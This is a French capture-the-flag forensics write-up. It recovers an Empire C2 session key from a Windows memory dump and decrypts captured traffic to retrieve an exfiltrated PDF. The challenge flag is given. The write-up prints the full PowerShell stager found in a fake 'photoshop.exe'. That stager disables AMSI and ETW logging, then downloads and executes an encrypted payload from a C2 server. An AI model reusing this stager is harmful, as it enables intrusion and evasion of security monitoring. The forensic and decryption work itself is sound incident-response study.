DG'hAck 2023 - L'an 1, et puis l'an 2 - Shinji & Itarow

6 minute read

Solution du challenge “L’an 1, et puis l’an 2” créé pour le DG’hAck 2023.

Description

Sur le réseau de l’entreprise d’un ami, un employé a lancé un fichier inconnu provenant d’une clé USB. Apeuré, il s’est rendu à la DSI qui a réalisé un dump mémoire de la machine par précaution. Selon-eux il n’y a rien à craindre, la machine n’est pas compromise.

Mais quelques temps après avoir rebranché son PC sur le réseau, l’employé s’est mis à perdre certains de ses fichiers, pris de panique il a éteint sa machine.

Heureusement, la DSI met en place une capture du réseau constante.

Avec ces deux captures, votre objectif est d’aider la DSI à comprendre ce qu’il s’est passé et de retrouver le contenu du précieux fichier !

Solution

Premièrement on réalise une première analyse de la capture mémoire avec volatility2 et 3 avec l’utilisation des plugins basiques (listing des process & fichiers)

$ vol3.py -f ./dump.raw windows.pstree.PsTree
[...]
** 3992 3940    explorer.exe    0xe70f79fc52c0  71      -       1       False   2023-07-08 19:09:11.000000      N/A
*** 5888        3992    SecurityHealth  0xe70f7a303080  6       -       1       False   2023-07-08 19:09:24.000000      N/A
*** 1960        3992    vm3dservice.ex  0xe70f7a526080  1       -       1       False   2023-07-08 19:09:26.000000      N/A
*** 8112        3992    photoshop.exe   0xe70f7a9f5080  18      -       1       False   2023-07-08 19:13:29.000000      N/A
*** 7288        3992    msedge.exe      0xe70f7afb2340  36      -       1       False   2023-07-08 19:12:27.000000      N/A
**** 3996       7288    msedge.exe      0xe70f74d95080  18      -       1       False   2023-07-08 19:12:27.000000      N/A
**** 3212       7288    msedge.exe      0xe70f7a1e2080  7       -       1       False   2023-07-08 19:12:27.000000      N/A
[...]

On aperçoit un processus photoshop.exe qui paraît suspect et pourrait être le binaire lancé par l’employé.

On le dump avec volatility :

$ vol3.py -f ./dump.raw windows.filescan.FileScan | grep photoshop
0xe70f7a10a170.0\Users\cesar\Desktop\photoshop.exe      216
0xe70f7a24a170  \PSHost.133333172090291031.8112.DefaultAppDomain.photoshop      216
0xe70f7bae0130  \Users\cesar\Desktop\photoshop.exe      216
0xe70f7d08a900  \Users\cesar\Desktop\photoshop.exe      216
$ vol3.py -f ./dump.raw windows.dumpfiles.DumpFiles --virtaddr 0xe70f7a10a170
Volatility 3 Framework 2.4.0
Progress:  100.00               PDB scanning finished
Cache   FileObject      FileName        Result
DataSectionObject       0xe70f7a10a170  photoshop.exe   file.0xe70f7a10a170.0xe70f7975faf0.DataSectionObject.photoshop.exe.dat
ImageSectionObject      0xe70f7a10a170  photoshop.exe   file.0xe70f7a10a170.0xe70f7a15fcc0.ImageSectionObject.photoshop.exe.img
$ file file.0xe70f7a10a170.0xe70f7975faf0.DataSectionObject.photoshop.exe.dat
file.0xe70f7a10a170.0xe70f7975faf0.DataSectionObject.photoshop.exe.dat: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows

Un strings rapide nous permet d’obtenir la payload powershell lancée :

$ strings file.0xe70f7a10a170.0xe70f7975faf0.DataSectionObject.photoshop.exe.dat
[...]
If($PSVersionTable.PSVersion.Major -ge 3){$Ref=[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils');$Ref.GetField('amsiInitFailed','NonPublic,Static').Setvalue($Null,$true);[System.Diagnostics.Eventing.EventProvider].GetField('m_enabled','NonPublic,Instance').SetValue([Ref].Assembly.GetType('System.Management.Automation.Tracing.PSEtwLogProvider').GetField('etwProvider','NonPublic,Static').GetValue($null),0);};[System.Net.ServicePointManager]::Expect100Continue=0;$wc=New-Object System.Net.WebClient;$u='Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko';$ser=$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('aAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMAAuADIAOgA4ADAAOAAwAA==')));$t='/admin/get.php';$wc.Headers.Add('User-Agent',$u);$wc.Proxy=[System.Net.WebRequest]::DefaultWebProxy;$wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;$Script:Proxy = $wc.Proxy;$K=[System.Text.Encoding]::ASCII.GetBytes('Td:b0uCNi#W}L7!@qFk](^f&.=?3re;G');$R={$D,$K=$Args;$S=0..255;0..255|%{$J=($J+$S[$_]+$K[$_%$K.Count])%256;$S[$_],$S[$J]=$S[$J],$S[$_]};$D|%{$I=($I+1)%256;$H=($H+$S[$I])%256;$S[$I],$S[$H]=$S[$H],$S[$I];$_-bxor$S[($S[$I]+$S[$H])%256]}};$wc.Headers.Add("Cookie","DDCCFsKOAD=Uns/XCBDMk0lmDUO2PfJlWwUEG0=");$data=$wc.DownloadData($ser+$t);$iv=$data[0..3];$data=$data[4..$data.length];-join[Char[]](& $R $data ($IV+$K))|IEX
[...]

Nous pouvons donc nous attarder désormais sur le dump réseau.

En parcourant la capture réseau, nous voyons du traffic sur les endpoints /admin/get.php, /login/process.php, /news.php.

Après une brève recherche sur internet on comprend que nous sommes face à des payloads Empire.

L’objectif étant de récupérer le contenu d’un fichier, il va nous falloir déchiffrer les communications pour voir la donnée exfiltrée.

Suite à une recherche Google on tombe sur cet article expliquant le fonctionnement des communications EmpireC2.

Dans cet article nous avons un schéma expliquant le chiffrement :

D’après notre capture réseau on comprend que les données transmises en POST par la victime sont celles que nous allons devoir déchiffrer.

Ces données se trouvent sur notre schéma dans la partie Rest, plus précisément dans le Task Data qui est le dernier élément du message chiffré.

Ce déchiffrement comme expliqué sur le schéma s’effectue à l’aide de la Session Key. (La staging key ne servant que pour l’initialisation de la communication et chiffrer certaines informations complémentaires notamment le type de requête)

Dans l’article il est fait mention de cette session key

But, by diving into Empire’s code, we were able to figure out that the payload was in fact RSA encrypted with that RSA public key and the payload that was being sent was a 16 Bytes numeric nonce and 32 Bytes Session key concatenated which looked something like this –

L’envoie de cette clé est réalisée par le client et chiffré grâce à la clé publique du serveur, il n’est donc pas possible de pouvoir récupérer la clé privée de celui-ci statiquement avec l’échange des communications.

Il est donc nécessaire de la trouver en mémoire, étant génerée de façon aléatoire et écrite nulle part ailleurs.

Le dump mémoire est donc ce qu’il nous faut pour la trouver !

Extraction de la session key grâce au dump mémoire

Nous pouvons dump précisément dump en mémoire le processus photoshop.exe avec volatility2 afin d’avoir plus de précisions sur notre recherche :

$ vol.py -f dump.raw --profile=Win10x64_19041 memdump --pid=8112 --dump-dir=.
Volatility Foundation Volatility Framework 2.6.1
************************************************************************
Writing photoshop.exe [  8112] to 8112.dmp

Il nous reste désormais à réaliser un grep avec les données que nous connaissons. Nous savons que la session key est composée d’un Nonce de 16 chiffres ainsi que 32 caractères imprimables, voici donc la commande qui nous permet de la récuperer :

$ strings -el 8112.dmp | grep -o -P '[0-9]{16}[\x00-\x7F]{32}'  | uniq -u
133333172090291031.8112.DefaultAppDomain.photosh
3949070969871305e\Z6a3xGr|B-n?9u@5iN8)/q4w&{b+0m
002400000480000094000000060200000024000052534131
0004000001000100B5FC90E7027F67871E773A8FDE8938C8
[...]

L’option -el de strings permet de récupérer les chaînes de caractères UTF-16. Sans cette option, la clé n’apparaîtra pas car elle est en UTF-16 dans la mémoire.

On obtient pas mal de résultats avec beaucoup de faux positifs mais on repère à l’allure rapidement la clé de session qui est donc la deuxième ligne du résultat de notre commande : 3949070969871305e\Z6a3xGr|B-n?9u@5iN8)/q4w&{b+0m

Si on veut être plus méthodique, on peut passer par l’entropie pour plus de précision, avec un script comme celui-ci :

from collections import Counter
from math import log

def entropy(string):
    counts = Counter(string)
    frequencies = ((i / len(string)) for i in counts.values())
    return - sum(f * log(f, 2) for f in frequencies)

def by_entropy(candidate):
    return candidate[0]

candidates = []

with open('./candidates') as f:
    line = f.readline().rstrip()

    while line:
        candidates.append((entropy(line),line))
        line = f.readline().rstrip()

res = sorted(candidates, key=by_entropy, reverse=True)

for i in range(10):
    print(f'Entropy: {res[i][0]} / Key: {res[i][1]}')

À la recherche de l’IV

Pour parachever notre déchiffrement il nous manque encore l’IV. En regardant dans le code source d’Empire et plus précisément dans le module de chiffrement on remarque quelque chose d’intéressant.

La fonction aes_encrypt est utilisée par la fonction aes_encrypt_then_hmac par les agents Empire. En regardant cette fonction de plus près on apprend également que le hmac du payload chiffré est ajouté à la fin du message qui sera envoyé au C2.

En effet, l’IV est statique et est renvoyé dans le payload chiffré pour permettre le déchiffrement par le serveur.

Nous avons donc notre clé et notre IV. Il nous suffit d’écrire un script permettant le déchiffrement en prenant bien en compte le format du payload empire. C’est à dire, les 20 premiers bytes pour le déchiffrement de la partie servant d’identifiant à la tâche en cours. Les 16 bytes suivants étant l’IV, le reste étant le contenu chiffré.

Voici le script permettant d’extraire tout le contenu exfiltré par l’attaquant :

import base64
import pyshark
from Crypto.Cipher import ARC4
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad,unpad

cap = pyshark.FileCapture('capture.pcapng', display_filter='http.request.method == "POST"')

STAGING_KEY = b'STAGING_KEY'
SESSION_KEY = b'SESSION_KEY'


def decipher_rc4(dec):
    rc4_key = dec[0:4] + STAGING_KEY
    cipher = ARC4.new(rc4_key)
    return cipher.decrypt(dec[4:19])

def decipher_packet(data):
    # Entête identifiant la tâche en cours
    task = data[:20]
    payload = data[20:]

    IV = payload[:16]
    
    # -10 pour retirer le HMAC ajouté par la fonction aes_encrypt_then_hmac
    ciphertext = payload[16:-10]

    aes = AESCipher(SESSION_KEY,IV)
    cleartext = unpad(aes.decrypt(ciphertext), 16)

    return cleartext


class AESCipher:
    def __init__(self,key,IV):
        self.key = key
        self.IV = IV
        AES.block_size = 16

    def decrypt(self,data):
        self.cipher = AES.new(self.key,AES.MODE_CBC,self.IV)
        return self.cipher.decrypt(data)

for packet in cap:
    try:
        post_data = bytes.fromhex(packet.http.data)
        deciphered = decipher_packet(post_data)
        
        # Le contenu exfiltré commence au 12ème byte
        payload = deciphered[12:]
        print(base64.b64decode(payload).decode('utf-8'))

    # Le premier paquet étant chiffré avec la staging key, on peut avoir une erreur
    except ValueError:
        continue
$ python main.py
{"directory_path":"/","directory_name":"/","items":[{"path":"C:\\","name":"C:\\","is_file":false}]}
{"directory_path":"C:\\","directory_name":"C:\\","items":[{"path":"C:\\Configure-WindowsHostname.ps1","name":"Configure-WindowsHostname.ps1","is_file":true},{"path":"C:\\Configure-WindowsNetwork.ps1","name":"Configure-WindowsNetwork.ps1","is_file":true},{"path":"C:\\DumpStack.log.tmp","name":"DumpStack.log.tmp","is_file":true},{"path":"C:\\error_hostname.txt","name":"error_hostname.txt","is_file":true},{"path":"C:\\error_networking.txt","name":"error_networking.txt","is_file":true},{"path":"C:\\pagefile.sys","name":"pagefile.sys","is_file":true},{"path":"C:\\swapfile.sys","name":"swapfile.sys","is_file":true},{"path":"C:\\$Recycle.Bin","name":"$Recycle.Bin","is_file":false},{"path":"C:\\$WinREAgent","name":"$WinREAgent","is_file":false},{"path":"C:\\Documents and Settings","name":"Documents and Settings","is_file":false},{"path":"C:\\PerfLogs","name":"PerfLogs","is_file":false},{"path":"C:\\Program Files","name":"Program Files","is_file":false},{"path":"C:\\Program Files (x86)","name":"Program Files (x86)","is_file":false},{"path":"C:\\ProgramData","name":"ProgramData","is_file":false},{"path":"C:\\Recovery","name":"Recovery","is_file":false},{"path":"C:\\System Volume Information","name":"System Volume Information","is_file":false},{"path":"C:\\Users","name":"Users","is_file":false},{"path":"C:\\Windows","name":"Windows","is_file":false},{"path":"C:\\Windows.old","name":"Windows.old","is_file":false}]}
{"directory_path":"C:\\Users","directory_name":"Users","items":[{"path":"C:\\Users\\desktop.ini","name":"desktop.ini","is_file":true},{"path":"C:\\Users\\Admin","name":"Admin","is_file":false},{"path":"C:\\Users\\All Users","name":"All Users","is_file":false},{"path":"C:\\Users\\cesar","name":"cesar","is_file":false},{"path":"C:\\Users\\Default","name":"Default","is_file":false},{"path":"C:\\Users\\Default User","name":"Default User","is_file":false},{"path":"C:\\Users\\lade","name":"lade","is_file":false},{"path":"C:\\Users\\Public","name":"Public","is_file":false}]}
{"directory_path":"C:\\Users\\cesar","directory_name":"cesar","items":[{"path":"C:\\Users\\cesar\\DumpIt.exe","name":"DumpIt.exe","is_file":true},{"path":"C:\\Users\\cesar\\NTUSER.DAT","name":"NTUSER.DAT","is_file":true},{"path":"C:\\Users\\cesar\\ntuser.dat.LOG1","name":"ntuser.dat.LOG1","is_file":true},{"path":"C:\\Users\\cesar\\ntuser.dat.LOG2","name":"ntuser.dat.LOG2","is_file":true},{"path":"C:\\Users\\cesar\\NTUSER.DAT{69f3d7a8-1d92-11ee-9b8a-005650af146c}.TM.blf","name":"NTUSER.DAT{69f3d7a8-1d92-11ee-9b8a-005650af146c}.TM.blf","is_file":true},{"path":"C:\\Users\\cesar\\NTUSER.DAT{69f3d7a8-1d92-11ee-9b8a-005650af146c}.TMContainer00000000000000000001.regtrans-ms","name":"NTUSER.DAT{69f3d7a8-1d92-11ee-9b8a-005650af146c}.TMContainer00000000000000000001.regtrans-ms","is_file":true},{"path":"C:\\Users\\cesar\\NTUSER.DAT{69f3d7a8-1d92-11ee-9b8a-005650af146c}.TMContainer00000000000000000002.regtrans-ms","name":"NTUSER.DAT{69f3d7a8-1d92-11ee-9b8a-005650af146c}.TMContainer00000000000000000002.regtrans-ms","is_file":true},{"path":"C:\\Users\\cesar\\ntuser.ini","name":"ntuser.ini","is_file":true},{"path":"C:\\Users\\cesar\\WIN10-20230708-191412.raw","name":"WIN10-20230708-191412.raw","is_file":true},{"path":"C:\\Users\\cesar\\3D Objects","name":"3D Objects","is_file":false},{"path":"C:\\Users\\cesar\\AppData","name":"AppData","is_file":false},{"path":"C:\\Users\\cesar\\Application Data","name":"Application Data","is_file":false},{"path":"C:\\Users\\cesar\\Contacts","name":"Contacts","is_file":false},{"path":"C:\\Users\\cesar\\Cookies","name":"Cookies","is_file":false},{"path":"C:\\Users\\cesar\\Desktop","name":"Desktop","is_file":false},{"path":"C:\\Users\\cesar\\Documents","name":"Documents","is_file":false},{"path":"C:\\Users\\cesar\\Downloads","name":"Downloads","is_file":false},{"path":"C:\\Users\\cesar\\Favorites","name":"Favorites","is_file":false},{"path":"C:\\Users\\cesar\\Links","name":"Links","is_file":false},{"path":"C:\\Users\\cesar\\Local Settings","name":"Local Settings","is_file":false},{"path":"C:\\Users\\cesar\\Music","name":"Music","is_file":false},{"path":"C:\\Users\\cesar\\My Documents","name":"My Documents","is_file":false},{"path":"C:\\Users\\cesar\\NetHood","name":"NetHood","is_file":false},{"path":"C:\\Users\\cesar\\OneDrive","name":"OneDrive","is_file":false},{"path":"C:\\Users\\cesar\\Pictures","name":"Pictures","is_file":false},{"path":"C:\\Users\\cesar\\PrintHood","name":"PrintHood","is_file":false},{"path":"C:\\Users\\cesar\\Recent","name":"Recent","is_file":false},{"path":"C:\\Users\\cesar\\Saved Games","name":"Saved Games","is_file":false},{"path":"C:\\Users\\cesar\\Searches","name":"Searches","is_file":false},{"path":"C:\\Users\\cesar\\SendTo","name":"SendTo","is_file":false},{"path":"C:\\Users\\cesar\\Start Menu","name":"Start Menu","is_file":false},{"path":"C:\\Users\\cesar\\Templates","name":"Templates","is_file":false},{"path":"C:\\Users\\cesar\\Videos","name":"Videos","is_file":false}]}
{"directory_path":"C:\\Users\\cesar\\Desktop","directory_name":"Desktop","items":[{"path":"C:\\Users\\cesar\\Desktop\\confidential.pdf","name":"confidential.pdf","is_file":true},{"path":"C:\\Users\\cesar\\Desktop\\desktop.ini","name":"desktop.ini","is_file":true},{"path":"C:\\Users\\cesar\\Desktop\\photoshop.exe","name":"photoshop.exe","is_file":true}]}
0|C:\Users\cesar\Desktop\confidential.pdf|12510|JVBERi0xLjYK...ZWYKMTIwMjYKJSVFT0YK
[*] File download of C:\Users\cesar\Desktop\confidential.pdf completed
executed rm  C:\Users\cesar\Desktop\confidential.pdf

Après décodage du base64 récupéré nous obtenons un fichier pdf contenant ces informations

Flag : DGHACK{4_Gr3P_4nD_7h3_3mP1r3_f411S}